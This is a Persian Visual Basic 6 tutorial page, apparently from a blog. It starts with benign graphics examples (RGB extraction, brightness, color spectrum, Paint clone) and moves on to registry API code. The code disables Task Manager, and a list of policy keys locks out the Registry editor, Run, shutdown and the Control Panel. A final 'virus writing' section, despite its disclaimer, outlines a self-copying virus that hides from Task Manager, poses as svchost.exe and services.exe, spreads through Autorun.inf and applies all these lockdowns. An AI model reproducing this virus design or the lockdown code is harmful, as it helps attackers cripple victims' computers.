    If Index = 2 Then ConvertToRGB = Blue
End Function

حالا برنامتون رو اجرا كنيد و روي فرمتون كليك كنيد و از جعبه رنگي كه ظاهر ميشه يك رنگ انتخاب كنيد و OK كنيد تا كد RGB رنگ رو تو فرمتون ببينيد. موفق باشيد.


تغيير روشنايي تصوير

اينكار با استفاده از آموزش بالا (بدست آوردن كد RGB رنگ مورد نظر) انجام ميشه به اينصورت كه رنگ هر پيكسل رو بدست آورده و به هر يك از رنگهاي قرمز، سبز و آبي عددي رو اضافه ميكنيم تا رنگش روشن‌تر بشه. بعد از اين كار، رنگ بدست اومده رو دقيقاً روي همون پيكسل ترسيم ميكنيم.

يك پروژه جديد باز كنيد و يك PictureBox و يك Command Button به فرمتون اضافه كنيد و كد زير رو تو قسمت جنرال فرمتون كپي كنيد :


Dim lngColor As Long

Private Sub Form_Load()
    Picture1.AutoRedraw = True
    Picture1.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height
    Picture1.ScaleMode = 3
    Text1.Text = -20
End Sub

Private Sub Picture1_Click()
    On Error Resume Next
    For X = 1 To Picture1.ScaleWidth
        For Y = 1 To Picture1.ScaleHeight
            lngColor = Picture1.Point(X, Y)
            R = ConvertToRGB(lngColor, 0) + Val(Text1.Text)
            G = ConvertToRGB(lngColor, 1) + Val(Text1.Text)
            B = ConvertToRGB(lngColor, 2) + Val(Text1.Text)
            If R < 0 Then R = 0 Else If R > 255 Then R = 255
            If G < 0 Then G = 0 Else If G > 255 Then G = 255
            If B < 0 Then B = 0 Else If B > 255 Then B = 255
            Picture1.PSet (X, Y), RGB(R, G, B)
        Next Y
        DoEvents
    Next X
End Sub

Public Function ConvertToRGB(ByVal Colors As Long, ByVal Index As Integer) As Long
    Dim Red As Integer, Green As Integer, Blue As Integer
    Dim lngColor As Long
    lngColor = Colors
    Red = lngColor Mod &H100
    Green = (lngColor \ &H100) Mod &H100
    Blue = lngColor \ &H10000
    If Index = 0 Then ConvertToRGB = Red
    If Index = 1 Then ConvertToRGB = Green
    If Index = 2 Then ConvertToRGB = Blue
End Function

حالا يك عكس براي PictureBox قرار بديد و برنامتون رو اجرا كنيد حالا براي تغيير روشنايي تصوير از اعداد مثبت يا منفي استفاده كنيد بعد روي PictureBox كليك كنيد. موفق باشيد.


طيف رنگها (بسيار زيبا)

من براي نوشتن اين كد و بدست آوردن راهي براي تاريك يا روشن شدن رنگها چيزي حدود 10 تا 15 ساعت وقت گذاشتم و شكر خدا بالاخره تونستم راه حلش رو بدست بيارم. اونچه كه براي من سخت و دشوار بود طيف تمام رنگهاي پر رنگ به تاريك (چپ كليك درون فرم) و همچنين طيف تمام رنگهاي پر رنگ به روشن (راست كليك) بود. يعني هر چي كه به سمت پايين فرم مياييم رنگها تيره تر يا روشن تر بشن. اينم چيزه ساده اي به نظر ميرسه امّا اينطور نيست. حالا ممكنه با يك نگاه به كد زير بگيد: بابا اينكه ديگه كاري نداره كه...! بلــــــه معمّا چون حل شود آسان شود.

اساسه كار اين كد چيه؟

طيف رنگها به صورت: قرمز » سبز » آبي » قرمز هست. يعني از قرمز شروع ميشه و به سمت سبز حركت ميكنه و بعد، از سبز به سمته آبي و بعد از آبي به سمت قرمز حركت ميكنه.

همون طور كه ملاحظه ميكنيد، ترسيم هر سطر برنامه، از شش مرحله (Level) تشكيل شده:

مرحله اول: اضافه شدن رنگ سبز RGB(R  ,+G ,B )
مرحله دوم: كم شدن رنگ قرمز
RGB(-R  ,G ,B )
مرحله سوم: اضافه شدن رنگ آبي
RGB(R  ,G ,+B )
مرحله چهام: كم شدن رنگ سبز
RGB(R  ,-G ,B )
مرحله پنجم: اضافه شدن رنگ قرمز
RGB(+R  ,G ,B )
مرحله ششم: كم شدن رنگ آبي
RGB(R  ,G ,-B )

اينا مراحل ترسيم يك سطر بودند و چون در هر مرحله 255 رنگ ترسيم ميشه پس در تمام سطر بايد 1530 رنگ ترسيم بشه (6*255=1530)؛ به همين خاطر من عرض فرم رو 1530 در نظر گرفتم ولي طول فرم رو همون 255 در نظر گرفتم چون رنگهاي ما يا تاريك ميشن يا روشن ميشن و براي اينكار نياز به 255 رنگ داريم (اعداد كوچكتر = رنگ تاريك‌تر، اعداد بزرگتر = رنگ روشن‌تر).

يك پروژه جديد باز كنيد و كد زير  رو تو قسمت جنرال فرمتون كپي كنيد :


Dim intRGB(3) As Single, intAddNum As Single
Dim intLevel As Integer
Dim intColorLevel1 As Integer, intColorLevel2 As Integer

Private Sub Form_Load()
    Me.DrawWidth = 2
    Me.AutoRedraw = True
    Me.Caption = "Click Me."
End Sub

Private Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
    On Error Resume Next
   
    Me.ScaleWidth = 1530
    Me.ScaleHeight = 255
    'Me.Cls
    intAddNum = 1
    intLevel = 1
   
    If Button = vbLeftButton Then
        intColorLevel1 = 255
        intColorLevel2 = 0
        intRGB(1) = 255
        intRGB(2) = 0
        intRGB(3) = 0
        Y = 0
    ElseIf Button = vbRightButton Then
        intColorLevel1 = 255
        intColorLevel2 = 0
        intRGB(1) = 255
        intRGB(2) = 0
        intRGB(3) = 0
        Y = 255
    End If
   
    For Y = 0 To Me.ScaleHeight
        For X = 0 To Me.ScaleWidth
           
            Select Case intLevel
                Case 1:
                    intRGB(2) = intRGB(2) + intAddNum
                    If intRGB(2) >= intColorLevel1 Then intLevel = 2
                Case 2:
                    intRGB(1) = intRGB(1) – intAddNum
                    If intRGB(1) <= intColorLevel2 Then intRGB(1) = Abs(intRGB(1)): intLevel = 3
                Case 3:
                    intRGB(3) = intRGB(3) + intAddNum
                    If intRGB(3) >= intColorLevel1 Then intLevel = 4
                Case 4:
                    intRGB(2) = intRGB(2) – intAddNum
                    If intRGB(2) <= intColorLevel2 Then intRGB(2) = Abs(intRGB(2)): intLevel = 5
                Case 5:
                    intRGB(1) = intRGB(1) + intAddNum
                    If intRGB(1) >= intColorLevel1 Then intLevel = 6
                Case 6:
                    intRGB(3) = intRGB(3) – intAddNum
                    If intRGB(3) <= intColorLevel2 Then intRGB(3) = Abs(intRGB(3))
            End Select
           
            Me.PSet (X, Y), RGB(intRGB(1), intRGB(2), intRGB(3))
           
        Next X
        DoEvents
       
        If Button = vbLeftButton Then
            intColorLevel1 = intColorLevel1 – 1
            intAddNum = (intColorLevel1 / 256)
            intRGB(1) = intColorLevel1
            intRGB(2) = 0
            intRGB(3) = 0
        ElseIf Button = vbRightButton Then
            intColorLevel2 = intColorLevel2 + 1
            intAddNum = ((255 - intColorLevel2) / 256)
            intRGB(1) = 255
            intRGB(2) = intColorLevel2
            intRGB(3) = intColorLevel2
        End If
        intLevel = 1
        Me.Caption = CStr((Y * 100) \ Me.ScaleHeight) & "%"
    Next Y
    Me.Caption = "Complated."
End Sub

حالا برنامه و اجرا كنيد و تو فرمتون راست كليك كنيد بعد از ترسيم تصوير چپ كليك كنيد تا تفاوت دو تصوير و نتيجه 15 ساعت تلاش منو ببينيد، شايد به نظرتون ساده يا بي كاربرد بياد اما واقعاً اينطور نيست. در ضمن سرعت ترسيم تصوير بستگي به CPU كامپيوتر شما داره، براي من كه سريع ترسيم ميشه. موفق باشيد.


تصاوير را در PictureBox و فرم Stretch کنيد (كاربردي و براي گذاشتن اسكين بسيار مفيد)

درسته كه PictureBox خاصيت Strerch نداره ولي كد نويسي رو براي چي گذاشتن. شما ميتونيد با استفاده از كد زير تصوير را در PictureBox به صورت Strerch در بياريد. اينكار با متد PaintPicture انجام ميشه.

يك پروژه جديد باز كنيد و يك PictureBox به فرمتون اضافه كنيد و كد زير رو تو قسمت جنرال فرمتون كپي كنيد :


Private Sub Form_Load()
    Picture1.AutoRedraw = True
    Picture1.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height
End Sub

حالا تو Picture1 يك عكس قرار بديد (انداره عكس مهم نيست) و برنامه رو اجزا كنيد و ببينيد كه Picture1 به چه زيبايي Stretch شده. همين كارو براي فرمتون هم ميتونيد انجام بديد.

كد زير رو به جاي كد بالا تو قسمت جنرال فرمتون كپي كنيد :


Private Sub Form_Load()
    Me.AutoRedraw = True
    Picture1.Visible = False
End Sub

Private Sub Form_Resize()
    Me.PaintPicture Picture1.Picture, 0, 0, Me.Width, Me.Height
End Sub

حالا اگه برنامتون رو اجرا كنيد ميبينيد با تغيير اندازه فرمتون اندازه پس زمينه فرم هم تغيير مينكنه و اين خيلي به نفع شماست. موفق باشيد.


شبیه سازی برنامه Paint

این برنامه تقریباً کاره برنامه Paint رو انجام میده امّا کامل نیست که خودتون میتونید تکمیلش کنید، من فقط اساس کارو بهتون آموزش میدم.

یک پروژه جدید باز کنید و دو تا منو به نامهای mnuClear و mnuSave درست كنيد و Caption اونارو بذارید Clear و Save بعد کد زیر رو تو قسمت جنرال فرمتون کپی کنید:


Dim sngOldX, sngOldY As Single

Private Sub Form_Load()
    Me.Appearance = 0
    Me.AutoRedraw = True
    Me.DrawWidth = 3
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
        If Button = vbRightButton Then
            Me.ForeColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)
        End If
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
        If Button = vbLeftButton Then
            Me.Line (sngOldX, sngOldY)-(X, Y)
        End If
        sngOldX = X
        sngOldY = Y
End Sub

Private Sub mnuClear_Click()
    Me.Cls
End Sub

Private Sub mnuSave_Click()
    SavePicture Me.Image, "C:\Pic.bmp"
    MsgBox ("C:\Pic.bmp")
End Sub

حالا برنامه رو اجرا کنید و شروع به نقاشی کردن کنید با کلیک راست هم رنگ قلم رو به صورت اتفاقی عوض کنید. موفق باشید.


پر كردن فضاهاي خالي با رنگ مورد نظر (API)

حالا اين كه گفتم چي هست؟ مثلاً يه دايره رو در نظر بگيريد كه توش خاليه و ميخوايم توشو با رنگ آبي پر كنيم، اينجاست كه اين تابع به دردمون ميخوره. اين تابع بيشتر بدرد بچه هاي سوم كامپيوتر كه ميخوان برنامه Paint بسازن ميخوره.

يك پروژه جديد باز كنيد و دو تا Command Button و دو تا ComboBox به فرمتون اضافه كنيد و كد زير رو تو قسمت جنرال فرمتون كپي كنيد :


Private Declare Function ExtFloodFill Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal crColor As Long, ByVal wFillType As Long) As Long
Dim X As Single, Y As Single

Private Sub Command1_Click()
    Me.Cls
    Me.FillStyle = 1
    R = Me.ScaleWidth / 2
    Me.Circle (X, Y), R, vbRed
    Me.FillStyle = Combo1.ListIndex
End Sub

Private Sub Command2_Click()
    Me.FillColor = Combo2.ItemData(Combo2.ListIndex)
    Me.FillStyle = Combo1.ListIndex
    ExtFloodFill Me.hdc, X, Y, Me.Point(X, Y), 1
End Sub

Private Sub Form_Load()
    Me.Width = 5000
    Me.Height = 7000
    Me.AutoRedraw = True
    Command1.Caption = "Draw Circle"
    Command1.Move 0, 0, 1000, 350
    Command2.Caption = "FloodFill"
    Command2.Move 1100, 0, 1000, 350
    Combo1.Move 2200, 0, 1800
    Combo1.List(0) = "0 - Solid"
    Combo1.List(1) = "1 - Transparent"
    Combo1.List(2) = "2 - Horizontal Line"
    Combo1.List(3) = "3 - Vertical Line"
    Combo1.List(4) = "4 - Upward Diagonal"
    Combo1.List(5) = "5 - Downward Giagonal"
    Combo1.List(6) = "6 - Cross"
    Combo1.List(7) = "7 - Diagonal Cross"
    Combo1.ListIndex = 0
    Combo2.Move 4000, 0, 800
    Combo2.List(0) = "Red"
    Combo2.ItemData(0) = vbRed
    Combo2.List(1) = "Green"
    Combo2.ItemData(1) = vbGreen
    Combo2.List(2) = "Blue"
    Combo2.ItemData(2) = vbBlue
    Combo2.List(3) = "Yellow"
    Combo2.ItemData(3) = vbYellow
    Combo2.ListIndex = 1
    Me.ScaleMode = 2
    Me.FillColor = vbGreen
    X = Me.ScaleWidth / 2
    Y = Me.ScaleHeight / 2
End Sub

حالا برنامه رو اجرا كنيد و نتيجه رو ببينيد. موفق باشيد.

رجيستري در VB

كار با رجيستري (توابع كار با رجيستري)

براي کار کردن با رجیستری باید از توابع API استفاده کنیم. با تعریف این توابع شما میتونید با رجیستری هر کاری که بخواید بکنید. برای آشنایی با این توابع این آموزش رو تا آخرش دنبال كنيد.

تعريف توابع و ثابتهای مورد نیاز. کدهای زیر رو تو Module کپی کنید و به ادامه آموزش توجه کنید:


Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_CONFIG = &H80000005
"Public Const HKEY_USERS = &H80000003
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002

Public Const REG_SZ = 1
Public Const REG_DWORD = 4
Public Const REG_NONE = 0
Public Const REG_MULTI_SZ = 7
Public Const REG_EXPAND_SZ = 2
Public Const REG_BINARY = 3

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long

در طی این آموزش شما یا میگیرید Task Managerرو غیر فعال کنید.

براي غیر فعال کردن Task Manager باید در مسیر زیر یک کلید از نوع REG_DWORD با نام DisableTaskMgr بسازید و مقدار اونو 1 بذارید تا Task Manager غیر فعال بشه و برای فعال کردن دوباره باید مقدار اونو 0 بذارید.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

RegCreateKey : اين تابع برای ساختن یک مسیر در رجیستری به کار میره. فرض کنید میخواید مسیر زیر رو تو رجیستری بسازید:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System

قسمتي كه پر رنگه در حال حاضر تو رجیستری وجود نداره و ما قصد داریم اون مسیر رو بسازیم. به کد زیر توجه کنید:

r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)

كد بالا در شاخه اصلیه HKEY_CURRENT_USER مسیری که گفتیم رو جستجو میکنه و اگه قسمتی از مسیر رو پیدا نکرد، اون مسیر رو میسازه. متغیر keyhand یک اشاره گر از کلید یافت شده بر میگردونه که خیلی به دردمون میخوره و از اینجا به بعد سر و کارمون با اون اشاره گره. در صورتی که به هر دلیلی عملیات نا موفق باشه تابع عددی غیر از 0 درون متغیر r قرار میده که معمولاً این اتفاق نمی افته.

خب مسیری که باید میساختیم، ساخته شد. حالا باید یک کلید از نوع REG_DWORD با نام DisableTaskMgr بسازیم و مقدار اونو 1 بذاریم.

RegSetValueEx : اين تابع یک کلید (برای درک بهتر، کلید رو یک فایل در نظر بگیرید) از هر نوعی که تعیین کنیم (برای درک بهتر، نوع را پسوند فایل در نظر بگیرید. مثلاً REG_SZ پسوند .txt داره) در مسیری که تعیین میکنیم میسازه و مقدار تعیین شده رو درون اون کلید قرار میده (برای درک بهتر، مقدار رو محتوای فایل در نظر بگیرید). فرض کنید میخوایم در اون مسیری که در مرحله قبل ساخته بودیم، کلید DisableTaskMgr رو بسازیم و مقدارشو 1 بذاریم:

r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)

خب میبینید که به جای نوشتن کل مسیر، از همون اشاره گر که گفته بودم استفاده کردم. این اشاره گر به همون مسیری که ساخته بودیم اشاره میکنه و کار ما رو خیلی ساده میکنه چون ما رو از نوشتن مسیرهای طول و دراز راحت میکنه. DisableTaskMgr هم که معلومه چیه؛ کلید یا همون فایلمونه. به تون عدد 0 که بعد از نام کلید اومده کاری نداشته باشید. میبینید که بعد از عدد 0 نوع متغیر تعیین شده و بعدش هم مقدارش تعیین شده که باید 1 باشه ولی اون عدد 4 چیه ديگه؟

نوع REG_DWORD يك نوع عددیه و اعداد در اون در مبنای 16 (Hexadecimal) ذخیره میشن. مثلاً عدد 1 به صورت 01 00 00 00 ذخیره میشه و میبینید که این عدد از چهار قسمت مجزا تشکیل شده که اگر هر کدوم از این چهار  قسمت رو ننویسیم عدد ما اشتباه خواهد بود. چند تا مثال براتون میزنم تا بهتر این موضوع رو متوجه بشید:


10 = 0A 00 00 00
11 = 0B 00 00 00
15 = 0F 00 00 00
16 = 10 00 00 00
255 = FF 00 00 00
256 = 00 01 00 00
511 = FF 01 00 00
512 = 00 02 00 00

اعداد در اینجا به صورت هشت بایتی ذخیره میشن پس نتیجه میگیریم که اون عدد 4 نشانگر 4 قسمته دو بایتیه (هر بایت در مبنای 16 از دو عدد و در مبنای 2 از هشت عدد تشکیل میشه). توضیح در این باره بسه. (من سخت افزارم ضعیفه. ثخط عفظار بد)

خب کلید DisableTaskMgr رو ساختیم اما هنوز یک کار دیگه مونده و اونم اتمام کار با اشاره‌گر هستش.

RegCloseKey : اين تابع کار با اشاره گره keyhand رو تموم میکنه. حتماً پیش خودتون میگید که این کار په لزومی داره؟ اگه با فایلها کار کرده باشید، میدونید که بعد از کار با یک فایل باید اونو بست و این کار با دستور Close #1 انجام میشد که عدد #1 اشاره گره فایل بود. در اینجا هم دقیقاً مانند کار با فایلها باید نام اشاره گر رو جلوی دستور RegCloseKey تایپ کنیم تا اشاره گر از بین بره یا به قول معروف فایل بسته بشه:

r = RegCloseKey(keyhand)

خب دیگه، کارمون تمومه حالا دیگه میتونیم Task Manager رو غیر فعال کنیم. به کد زیر توجه کنید تا بهتر با مفهوم اشاره گر و طرز کارش آشنا بشيد.


Private Sub Command1_Click()
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)
    r = RegSetValueEx(keyhand, "DisableTaskMgr", 0, REG_DWORD, 1, 4)
    r = RegCloseKey(keyhand)
End Sub

حالا میخوایم کلیدی که ساختیم رو پاک کنیم تا Task Manager به حالت اولش برگرده.

RegDeleteValue : اين تابع کلید تعیین شده رو پاک میکنه. این تابع هم مانند تابع RegSetValueEx اشاره گری که تعیین کننده مسیر است رو میگیره و اون مسیر کلید تعیین شده رو پیدا میکنه و پاک ميكنه:

r = RegDeleteValue(keyhand, "DisableTaskMgr")

البته شما باید قبل از این دستور مسیر مورد نظر رو با دستور RegOpenKey و یا RegCreateKey باز كنيد.

RegDeleteKey : اين تابع یک مسیر رو دریافت میکنه و انتهای اونو پاک ميكنه:

r = RegDeleteKey(keyhand, "System")

البته بازم شما باید قبل از این دستور مسیر مورد نظر رو با دستور RegOpenKey و یا RegCreateKey باز کنید ولی میتونید این کارو با همین تابع انجام بدید:

r = RegDeleteKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System")

اين دستور فقط مسیر System رو پاک میکنه یعنی به قبل از اون کاری نداره در عین حال اگه بعد از مسیر System مسیر دیگه ای وجود داشته باشه نمیتونه ادامه مسیر رو پاک کنه. مثل مسیر زیر:

HKEY_CURRENT_USER \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Visual\Basic

در اینجا تابع قادر به حذف قسمت پر رنگ نخواهد بود و برای حذف این مسیر باید اونو از آخر پاک کنیم یعنی اول Basic رو پاک کنیم، بعد Visual رو پاک کنیم و بعد System رو پاک کنیم.

RegOpenKey : اين تابع تقریباً مثل تابع RegCreateKey کار میکنه با این تفاوت که قادر به ساختن مسیر نیست و فقط مسیر داده شده رو باز میکنه و یک اشاره گر از اون میسازه:

r = RegOpenKey(HKEY_CURRENT_USER, "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", keyhand)

RegQueryValueEX : اين تابع براي خوندن مقادیر کلیدها به کار میره. فرض کنید میخوایم بدونیم که الان فایلهای مخفی در حال نمایش هستند یا نه، برای فهمیدن این موضوع اگر مقدار کلید Hidden در مسیر زیر 1 بود یهنی در حال نمایش هستند و اگر 0 بود یعنی مخفی هستند:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

برنامه زیر به مسیر بالا رجوع میکنه و محتوای کلید Hidden رو درون متغیر lngData قرار میده. این متغیر از نوع REG_DWORD هست و مقادیر 1 یا 0 میگیره که نشانگر Show یا Don’t Show بودن فایلهای مخفیه:


Private Sub Form_Load()
    Dim lngData As Long
    r = RegOpenKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", keyhand)
    r = RegQueryValueEx(keyhand, "Hidden", 0, REG_DWORD, lngData, 4)
    r = RegCloseKey(keyhand)
    MsgBox IIf(lngData, "Yes", "No")
End Sub

حالا میخوایم مبدونیم که کمپانی کامپیوتر چیه. برای متوجه شدن این موضوع باید به مسیر زیر رجوع کنید و محتوای کلید RegisteredOrganization رو ببینید. با استفاده از کد بالا نمیشه اینکارو انجام داد چون ما نمیدونیم محتوای کلید RegisteredOrganization چند کاراکتره و متناسب با اون یک متغیر بسازیم، پس کاری که میکنیم اینه که اول از همه اطلاعاتی درباره کلید مورد نظر بدست بیاریم. به تکه برنامه زیر توجه کنید:


Private Sub Form_Load()
    Dim lValueType As Long, strBuf As String, lDataBufSize As Long
   
    'Open The Key
    r = RegOpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion", keyhand)
   
    'Retrieve Information About The Key
    Result = RegQueryValueEx(keyhand, "RegisteredOrganization", 0, lValueType, ByVal 0, lDataBufSize)
   
    'Create a Buffer
    strBuf = String(lDataBufSize, Chr$(0))
   
    'Retrieve The Key's Content
    r = RegQueryValueEx(keyhand, "RegisteredOrganization", 0, REG_SZ, ByVal strBuf, lDataBufSize)
   
    'Close The Key
    r = RegCloseKey(keyhand)
   
    'Show Organization Name
    MsgBox Left$(strBuf, InStr(1, strBuf, Chr$(0)) - 1)
End Sub

تا اينجا تعدادی از توابعی که برای کار کردن با رجیستری لازمتون میشن رو یاد گرفتید. البته توابع کار با رجیستری محدود به همین چند تا نمیشن و بیشترن اما همین تعداد توابع جوابگوی نیازهای شماست. موفق باشید.


غير فعال كردن رجيستري


Key:  [HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Policies\System]
Value Name: DisableRegistryTools
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن Task Manager


Key:  [HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Policies\System]
Value Name: DisableTaskMgr
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن Display Properties


Key:  [HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Policies\System]
Value Name: NoDispCPL
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن Shutdown


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoClose
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن جستجو


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoFind
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن System Properties


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoPropertiesMyComputer
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن Run


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoRun
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


مخفي كردن گزينه All Programs از منوي Start


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoStartMenuMorePrograms
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)


مخفي كردن درايو C:


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoDrives
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 4 = Hide)


مخفي كردن Control Panel


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoControlPanel
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


غير فعال كردن Folder Options


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Value Name: NoFolderOptions
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


نمايش فايلهاي مخفي


Key:  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Value Name: Hidden
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)


نمايش فايلهاي ابر مخفي


Key:  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Value Name: SuperHidden
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Show, 1 = Hide)


غير فعال كردن Add/Remove


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Uninstall]
Value Name: NoAddRemovePrograms
Data Type : REG_DWORD (DWORD Value)
Value Data : (0 = Enable, 1 = Disable)


تغيير نام و كمپاني


موفق باشید.


Key:  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]
Value Name: RegisteredOwner , RegisteredOrganization
Data Type : REG_SZ (DWORD Value)
Value Data : (Your Name, Organization Name)

ويروس نويسي


آموزش ساخت یک ویروس قوی و آزار دهنده

اخطار : این وبلاگ هیچگونه مسئولیتی در قبال استفاده های ناهنجار و مخرب از آموزشهای این بخش را نخواهد پذیرفت و مسئولیت استفاده از مطالب این بخش از وبلاگ فقط با شماست. مطالب این بخش از وبلاگ مختص کسانی است که قصد یادگیری و درک طرز کار ویروس ها را دارند خواهد بود. توصیه میشود مطالب این بخش را فقط برای یادگیری هر چه بهتر ویژوال بیسیک مطالعه نمایید و از سو استفاده های غیر اخلاقی و آزار و اذیت، جدّاً خودداری نمایید.

توجه : استفاده از مطالب این بخش فقط با ذکر منبع بلامانع است.

خب الوعده وفا. اینم آموزش ساخت ویروسی که قولشو داده بودم، یک ویروس خطرناک.

درباره ویروس : خرابکاری های این ویروس عبارت اند از :

1-       اعمال محدودیت های زیر از طریق رجیستری :

غیر فعال کردن رجیستری (DisableRegEdit)
غیر فعال کردن
Task Manager (DisableTaskManager)
غیر فعال کردن تنظیمات صفحه نمایش (
DisableDisplayProperties)
غیر فعال کردن
Shutdown (DisableShutdown)
غیر فعال کردن جستجو (
DisableSearch)
غیر فعال کردن
System Properties (DisableMyComputerProperties)
غیر فعال کردن
Run (DisableRun)
ناپدید کردن
All Programs از منوی Start (DisableAllPrograms)
مخفی کردن درایو
C: (HideDrive_C)
غیر فعال کردن کنترل پنل (
DisableControlPanel)
غیر فعال کردن
Folder Options (DisableFolderOption)
محدود کردن نمایش فایلهای مخفی (
DontShowHiddenFiles)
محدود کردن نمایش فایلهای ابر مخفی (
DontShowSuperHiddenFiles)
غیر فعال کردن
Add/Remove (DisableAddRemove)
تغییر نام و کمپانی کامپیوتر (
ChangeNameAndCompanyName)

2-       تغییر دادن کلیک چپ و راست ماوس هر چند لحظه یک بار از طریق توابع API

3-       اجرا شدن خودکار ویروس موقع باز کردن درایوها با استفاده از فایل Autorun.inf

ویروس جالبی به نظر میرسه چون کاربر رو خیلی محدود میکنه و باعث میشه که کاربر راهی جز تعویض ویندوز نداشته باشه.

بعضی از محدودیت های ذکر شده در بند 1 بلافاصله پس از اجرای ویروس اعمال میشن، مثلاً عیر فعال کردن Task Manager و Registry و Folder Options و چند تای دیگه. برای اعمال شدن تغییرات و محدودیت های دیگه، ویندوز باید یکبار Logoff یا راه اندازی دوباره بشه.

این ویروس در ابتدای اجرا از کد App.TaskVisible = False استفاده میکنه که باعث میشه برنامه تو Task Manager دیده نشه و این خیلی به نفع شما و به ضرر کاربره. این ویروس بلافاصله پس از اجرا، یک نسخه از خودشو با نامهای svchost.exe و dllhost.exe در پوشه System32\Drivers\ کپی میکنه و یک نسخه با نام services.exe رو هم در مسیر All Users\Application Data\ کپی میکنه و بعد همشون رو تو Startup قرار  میده و بعد اجراشون میکنه. مزیت اینکارا اینه که کاربر نتونه ویروسی رو که با نام services.exe اجرا شده از حافظه خارج کنه (End Task). در ضمن پوشه های داخل درایو ویندوز رو ابر مخفی (Super Hidden) میکنه.

توجه : برای درک و فهم بهتره مطالب این بخش، باید با رجیستری و طرز کار اون آشنا باشید که در ادامه بیشتر توضیح میدم.

